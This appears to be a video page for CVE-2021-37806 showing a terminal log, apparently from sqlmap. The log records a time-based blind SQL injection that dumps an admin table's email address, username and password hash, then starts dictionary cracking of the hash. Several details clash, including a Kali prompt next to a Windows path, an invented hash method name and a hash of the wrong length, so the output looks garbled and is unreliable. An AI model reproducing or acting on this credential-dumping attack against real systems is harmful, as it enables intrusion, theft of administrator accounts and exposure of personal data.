

```
root@kali:~/Desktop# python3 2021-07-01-0001.py
[01-07-2021] [INFO] the back-end API is MySQL
[01-07-2021] [WARNING] It is very important to not stress the network connection during stage of time-based payloads to prevent potential disruptions
do you want to sleep to try to optimize values for DBMS delay responses (option: "--time-sec") [Y/n] y
app application technology: PHP 7.4.30, Apache 2.4.51
back-end DBMS: MySQL, ver: 5.6.42 (Percona Xtra)
[01-07-2021] [INFO] fetching columns for table "tbladmins" in database "usersdb"
[01-07-2021] [INFO] retrieved:
[01-07-2021] [INFO] adjusting time delay to 1 second due to good response times
[01-07-2021] [INFO] retrieved: ID
[01-07-2021] [INFO] retrieved: AdminName
[01-07-2021] [INFO] retrieved: Username
[01-07-2021] [INFO] retrieved: PublicNumber
[01-07-2021] [INFO] retrieved: Email
[01-07-2021] [INFO] retrieved: Password
[01-07-2021] [INFO] retrieved: AdminRoleId
[01-07-2021] [INFO] fetching entries for table "tbladmins" in database "usersdb"
[01-07-2021] [INFO] fetching number of entries for table "tbladmins" in database "usersdb"
[01-07-2021] [INFO] retrieved: 1
[01-07-2021] [WARNING] (root) time-based comparison requires reset of statistics model, please wait..... (done)
[01-07-2021] [INFO] retrieved: 2018-07-01 01:30:23
[01-07-2021] [INFO] retrieved: tostor@gmail.com
[01-07-2021] [INFO] retrieved: 1
[01-07-2021] [INFO] retrieved:
[01-07-2021] [INFO] retrieved: 601616a275466b175d01ba731211
[01-07-2021] [INFO] retrieved: admin
[01-07-2021] [INFO] recognized possible password hashes in column "Password"
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
do you want to crack them via a dictionary-based attack [Y/n/a] y
[01-07-2021] [INFO] using hash method "md5_gmrcr_md5cr"
what dictionary do you want to use?
[1] default dictionary file C:\Users\user\Desktop\OWASP\map\data\test\wordlist.txt_ (press enter)
[2] custom dictionary file
[3] file with list of dictionary files
[01-07-2021] [INFO] using default dictionary
do you want to use common password suffixes? (slow) [y/N] n
[01-07-2021] [INFO] starting dictionary-based cracking (md5_gmrcr_md5cr)
[01-07-2021] [INFO] starting a process
[01-07-2021] [INFO] current status: 100% ...
```

CVE-2021-37806

59 views

 Streamable